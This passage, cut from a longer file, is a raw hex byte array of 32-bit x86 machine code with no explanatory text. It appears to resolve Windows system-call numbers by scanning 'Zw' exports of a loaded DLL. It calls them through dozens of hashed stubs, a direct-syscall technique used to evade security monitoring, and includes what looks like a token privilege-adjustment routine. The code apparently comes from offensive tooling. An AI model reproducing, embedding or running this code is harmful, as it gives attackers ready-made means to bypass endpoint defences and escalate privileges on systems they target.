83,0xC0,0x04,0x8B,0x00,0x0D,0x20,0x20,0x20,0x20,0x3D,0x6C,0x2E,0x64,0x6C,0x74,0x1E,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xEC,0x8B,0x00,0x89,0x45,0xEC,0x8B,0x45,0xEC,0x8B,0x40,0x18,0x85,0xC0,0x0F,0x85,0x70,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x83,0x7D,0xF4,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xBE,0x02,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x40,0x18,0x89,0x45,0xE8,0x8B,0x45,0xF4,0x8B,0x50,0x1C,0x8B,0x45,0xF0,0x01,0xD0,0x89,0x45,0xC0,0x8B,0x45,0xF4,0x8B,0x50,0x20,0x8B,0x45,0xF0,0x01,0xD0,0x89,0x45,0xBC,0x8B,0x45,0xF4,0x8B,0x50,0x24,0x8B,0x45,0xF0,0x01,0xD0,0x89,0x45,0xB8,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xB4,0x44,0x30,0x49,0x65,0x8B,0x45,0xE8,0x05,0xFF,0xFF,0xFF,0x3F,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0xBC,0x01,0xD0,0x8B,0x10,0x8B,0x45,0xF0,0x01,0xD0,0x89,0x45,0xB0,0x8B,0x45,0xB0,0x0F,0xB7,0x00,0x66,0x3D,0x5A,0x77,0x75,0x69,0x8B,0x55,0xE4,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x8D,0x1C,0x02,0x8B,0x45,0xB0,0x89,0x04,0x24,0xE8,0x2D,0xFE,0xFF,0xFF,0x89,0x03,0x8B,0x45,0xE8,0x05,0xFF,0xFF,0xFF,0x7F,0x8D,0x14,0x00,0x8B,0x45,0xB8,0x01,0xD0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0xC0,0x8D,0x0C,0x02,0x8B,0x55,0xE4,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x01,0xC2,0x8B,0x01,0x89,0x42,0x04,0x83,0x45,0xE4,0x01,0x81,0x7D,0xE4,0x26,0x02,0x00,0x00,0x74,0x10,0x83,0x6D,0xE8,0x01,0x83,0x7D,0xE8,0x00,0x0F,0x85,0x5F,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x8B,0x45,0xE4,0xA3,0x40,0x30,0x49,0x65,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xE9,0x3A,0x01,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xE9,0x16,0x01,0x00,0x00,0x8B,0x55,0xE0,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x01,0xD0,0x8B,0x48,0x04,0x8B,0x45,0xE0,0x8D,0x50,0x01,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x01,0xD0,0x8B,0x40,0x04,0x39,0xC8,0x0F,0x83,0xDB,0x00,0x00,0x00,0xC7,0x45,0x94,0x00,0x00,0x00,0x00,0xC7,0x45,0x98,0x00,0x00,0x00,0x00,0xC7,0x45,0x9C,0x00,0x00,0x00,0x00,0x8B,0x55,0xE0,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x01,0xD0,0x8B,0x00,0x89,0x45,0x94,0x8B,0x55,0xE0,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x01,0xD0,0x8B,0x40,0x04,0x89,0x45,0x98,0x8B,0x45,0xE0,0x8D,0x50,0x01,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x8D,0x0C,0x02,0x8B,0x55,0xE0,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x01,0xC2,0x8B,0x01,0x89,0x02,0x8B,0x45,0xE0,0x8D,0x50,0x01,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x8D,0x0C,0x02,0x8B,0x55,0xE0,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x01,0xC2,0x8B,0x41,0x04,0x89,0x42,0x04,0x8B,0x45,0xE0,0x8D,0x50,0x01,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x01,0xC2,0x8B,0x45,0x94,0x89,0x02,0x8B,0x45,0xE0,0x8D,0x50,0x01,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x01,0xC2,0x8B,0x45,0x98,0x89,0x42,0x04,0x83,0x45,0xE0,0x01,0xA1,0x40,0x30,0x49,0x65,0x2B,0x45,0xE4,0x83,0xE8,0x01,0x39,0x45,0xE0,0x0F,0x82,0xD6,0xFE,0xFF,0xFF,0x83,0x45,0xE4,0x01,0xA1,0x40,0x30,0x49,0x65,0x83,0xE8,0x01,0x39,0x45,0xE4,0x0F,0x82,0xB5,0xFE,0xFF,0xFF,0x8B,0x45,0xB4,0x83,0xC0,0x0C,0x8B,0x50,0x04,0x8B,0x45,0xB4,0x8B,0x40,0x04,0x29,0xC2,0x89,0x55,0xAC,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xEB,0x4B,0x8B,0x55,0xE4,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x01,0xD0,0x8B,0x50,0x04,0x8B,0x45,0xF0,0x01,0xD0,0x89,0x45,0xA8,0x8B,0x55,0xE4,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x89,0xC2,0x8B,0x45,0xB4,0x8D,0x1C,0x02,0x8B,0x45,0xAC,0x89,0x44,0x24,0x04,0x8B,0x45,0xA8,0x89,0x04,0x24,0xE8,0xC9,0xFA,0xFF,0xFF,0x89,0x43,0x08,0x83,0x45,0xE4,0x01,0xA1,0x40,0x30,0x49,0x65,0x83,0xE8,0x01,0x39,0x45,0xE4,0x72,0xA8,0xB8,0x01,0x00,0x00,0x00,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x18,0xE8,0x37,0xFC,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x39,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xEB,0x21,0x8B,0x55,0xF4,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x05,0x44,0x30,0x49,0x65,0x8B,0x00,0x39,0x45,0x08,0x75,0x05,0x8B,0x45,0xF4,0xEB,0x13,0x83,0x45,0xF4,0x01,0xA1,0x40,0x30,0x49,0x65,0x39,0x45,0xF4,0x72,0xD5,0xB8,0x00,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x18,0xE8,0xE6,0xFB,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x49,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xEB,0x31,0x8B,0x55,0xF4,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x05,0x44,0x30,0x49,0x65,0x8B,0x00,0x39,0x45,0x08,0x75,0x15,0x8B,0x55,0xF4,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x05,0x4C,0x30,0x49,0x65,0x8B,0x00,0xEB,0x13,0x83,0x45,0xF4,0x01,0xA1,0x40,0x30,0x49,0x65,0x39,0x45,0xF4,0x72,0xC5,0xB8,0x00,0x00,0x00,0x00,0xC9,0xC3,0x64,0xA1,0xC0,0x00,0x00,0x00,0x85,0xC0,0x75,0x06,0xB8,0x00,0x00,0x00,0x00,0xC3,0xB8,0x01,0x00,0x00,0x00,0xC3,0x90,0x0F,0x0B,0x8B,0x04,0x24,0xC3,0x90,0x0F,0x0B,0x68,0x0F,0x2A,0x9B,0xCD,0xE8,0x75,0xFF,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x1C,0xFF,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x2F,0x1A,0xBF,0xFF,0xE8,0x54,0xFF,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xFB,0xFE,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x67,0x75,0x8B,0x11,0xE8,0x33,0xFF,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xDA,0xFE,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x3F,0xD3,0x52,0x22,0xE8,0x12,0xFF,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xB9,0xFE,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xA2,0x15,0xA9,0x8F,0xE8,0xF1,0xFE,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x98,0xFE,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x20,0xBC,0xBC,0xBD,0xE8,0xD0,0xFE,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x77,0xFE,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x80,0xE9,0x93,0x03,0xE8,0xAF,0xFE,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x56,0xFE,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x32,0x1B,0xAB,0x17,0xE8,0x8E,0xFE,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x35,0xFE,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x1B,0x03,0x95,0x05,0xE8,0x6D,0xFE,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x14,0xFE,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x05,0x2F,0x93,0x01,0xE8,0x4C,0xFE,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xF3,0xFD,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xB6,0x8E,0x01,0x96,0xE8,0x2B,0xFE,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xD2,0xFD,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x1A,0x2A,0xB2,0x24,0xE8,0x0A,0xFE,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xB1,0xFD,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xE3,0xE2,0x98,0x11,0xE8,0xE9,0xFD,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x90,0xFD,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x8F,0x2C,0x5B,0x4A,0xE8,0xC8,0xFD,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x6F,0xFD,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x13,0xA4,0xBF,0x9C,0xE8,0xA7,0xFD,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x4E,0xFD,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x4F,0xF6,0x23,0x0E,0xE8,0x86,0xFD,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x2D,0xFD,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xE3,0x76,0x63,0x42,0xE8,0x65,0xFD,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x0C,0xFD,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x1A,0x6A,0xB2,0x64,0xE8,0x44,0xFD,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xEB,0xFC,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xA0,0x64,0x2E,0x65,0xE8,0x23,0xFD,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xCA,0xFC,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x0C,0x32,0x9F,0x1D,0xE8,0x02,0xFD,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xA9,0xFC,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x36,0x71,0x91,0x27,0xE8,0xE1,0xFC,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x88,0xFC,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x84,0x83,0x9C,0x09,0xE8,0xC0,0xFC,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x67,0xFC,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x87,0x5F,0xBE,0x1A,0xE8,0x9F,0xFC,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x46,0xFC,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xEA,0x62,0xBD,0xBC,0xE8,0x7E,0xFC,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x25,0xFC,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x6D,0xBA,0xD1,0x8A,0xE8,0x5D,0xFC,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x04,0xFC,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x0F,0x98,0x97,0x8C,0xE8,0x3C,0xFC,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xE3,0xFB,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xA7,0x8C,0x3A,0xA6,0xE8,0x1B,0xFC,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xC2,0xFB,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xF9,0x12,0x69,0xF0,0xE8,0xFA,0xFB,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xA1,0xFB,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x18,0x39,0xA3,0x73,0xE8,0xD9,0xFB,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x80,0xFB,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xFB,0x5E,0xAB,0x7C,0xE8,0xB8,0xFB,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x5F,0xFB,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x1E,0x5C,0x98,0x38,0xE8,0x97,0xFB,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x3E,0xFB,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x82,0x4D,0xDF,0x84,0xE8,0x76,0xFB,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x1D,0xFB,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x0C,0x86,0xB2,0xA1,0xE8,0x55,0xFB,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xFC,0xFA,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x80,0x2D,0x1F,0x0A,0xE8,0x34,0xFB,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xDB,0xFA,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x13,0x36,0x82,0x14,0xE8,0x13,0xFB,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xBA,0xFA,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x8A,0xF2,0x3D,0xE6,0xE8,0xF2,0xFA,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x99,0xFA,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x3A,0x3D,0xA8,0x32,0xE8,0xD1,0xFA,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x78,0xFA,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x5C,0x59,0xF3,0x6A,0xE8,0xB0,0xFA,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x57,0xFA,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x6E,0x23,0x30,0xE8,0xE8,0x8F,0xFA,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x36,0xFA,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xE3,0x55,0x3F,0x11,0xE8,0x6E,0xFA,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x15,0xFA,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x04,0x0E,0xDA,0x6B,0xE8,0x4D,0xFA,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xF4,0xF9,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x10,0xDE,0xB1,0x12,0xE8,0x2C,0xFA,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xD3,0xF9,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x20,0x35,0x89,0x10,0xE8,0x0B,0xFA,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xB2,0xF9,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xB5,0x3A,0x1B,0x38,0xE8,0xEA,0xF9,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x91,0xF9,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x9C,0xD0,0xC6,0x20,0xE8,0xC9,0xF9,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x70,0xF9,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x3C,0xF4,0x9E,0xBA,0xE8,0xA8,0xF9,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x4F,0xF9,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x44,0x8D,0x66,0xCB,0xE8,0x87,0xF9,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x2E,0xF9,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x8F,0x59,0x39,0x13,0xE8,0x66,0xF9,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x0D,0xF9,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xBA,0x75,0xEB,0xB6,0xE8,0x45,0xF9,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xEC,0xF8,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xEF,0xD9,0xB0,0x1B,0xE8,0x24,0xF9,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xCB,0xF8,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0xE7,0x84,0xCD,0x0A,0xE8,0x03,0xF9,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0xAA,0xF8,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x37,0x04,0x96,0x36,0xE8,0xE2,0xF8,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x89,0xF8,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x79,0x5C,0x2D,0x7A,0xE8,0xC1,0xF8,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x68,0xF8,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x8F,0xCC,0x1A,0xCA,0xE8,0xA0,0xF8,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x47,0xF8,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x68,0x19,0xD6,0x26,0x0C,0xE8,0x7F,0xF8,0xFF,0xFF,0x5B,0x50,0x53,0xE8,0x26,0xF8,0xFF,0xFF,0x83,0xC4,0x04,0x5B,0x89,0xE2,0x83,0xEA,0x04,0xFF,0xD3,0xC3,0x90,0x0F,0x0B,0x90,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x44,0x24,0x08,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x48,0xE8,0x48,0x65,0xC7,0x04,0x24,0x00,0x00,0x00,0x00,0xE8,0xB8,0x01,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0x18,0xC7,0x04,0x24,0x78,0xE8,0x48,0x65,0xE8,0x15,0xA3,0xFF,0xFF,0xC7,0x04,0x24,0xB3,0xE8,0x48,0x65,0xE8,0x09,0xA3,0xFF,0xFF,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x44,0x24,0x08,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0xB8,0xE8,0x48,0x65,0xC7,0x04,0x24,0x00,0x00,0x00,0x00,0xE8,0x70,0x01,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0x18,0xC7,0x04,0x24,0xDC,0xE8,0x48,0x65,0xE8,0xCD,0xA2,0xFF,0xFF,0xC7,0x04,0x24,0xB3,0xE8,0x48,0x65,0xE8,0xC1,0xA2,0xFF,0xFF,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x01,0x00,0x00,0xC0,0x83,0x7D,0x0C,0x00,0x74,0x06,0x83,0x7D,0x10,0x00,0x75,0x0A,0xB8,0x01,0x00,0x00,0x00,0xE9,0x17,0x01,0x00,0x00,0x8B,0x45,0x08,0x85,0xC0,0x75,0x2F,0xC7,0x45,0xF0,0x01,0x00,0x00,0x00,0x8D,0x45,0x08,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x28,0x00,0x00,0x00,0xC7,0x04,0x24,0xFF,0xFF,0xFF,0xFF,0xE8,0x82,0xF8,0xFF,0xFF,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x0F,0x88,0xC5,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xE9,0xA4,0x00,0x00,0x00,0x8B,0x45,0xEC,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0x0C,0x01,0xD0,0x8B,0x10,0x8B,0x45,0x08,0x8B,0x4D,0x14,0x89,0x4C,0x24,0x08,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0xB0,0x00,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0x3B,0x83,0x7D,0xF0,0x00,0x74,0x35,0x83,0x7D,0x14,0x00,0x74,0x2F,0x8B,0x45,0xEC,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0x0C,0x01,0xD0,0x8B,0x00,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x14,0xE9,0x48,0x65,0xE8,0xEC,0xA1,0xFF,0xFF,0xC7,0x04,0x24,0xB3,0xE8,0x48,0x65,0xE8,0xE0,0xA1,0xFF,0xFF,0xEB,0x4F,0x83,0x7D,0xF4,0x00,0x75,0x2F,0x8B,0x45,0xEC,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0x0C,0x01,0xD0,0x8B,0x00,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x43,0xE9,0x48,0x65,0xE8,0xB7,0xA1,0xFF,0xFF,0xC7,0x04,0x24,0xB3,0xE8,0x48,0x65,0xE8,0xAB,0xA1,0xFF,0xFF,0xEB,0x1A,0x83,0x45,0xEC,0x01,0x8B,0x45,0xEC,0x3B,0x45,0x10,0x0F,0x82,0x50,0xFF,0xFF,0xFF,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x01,0x90,0x83,0x7D,0xF0,0x00,0x74,0x12,0x8B,0x45,0x08,0x85,0xC0,0x74,0x0B,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x76,0xF7,0xFF,0xFF,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x81,0xEC,0x84,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xC7,0x45,0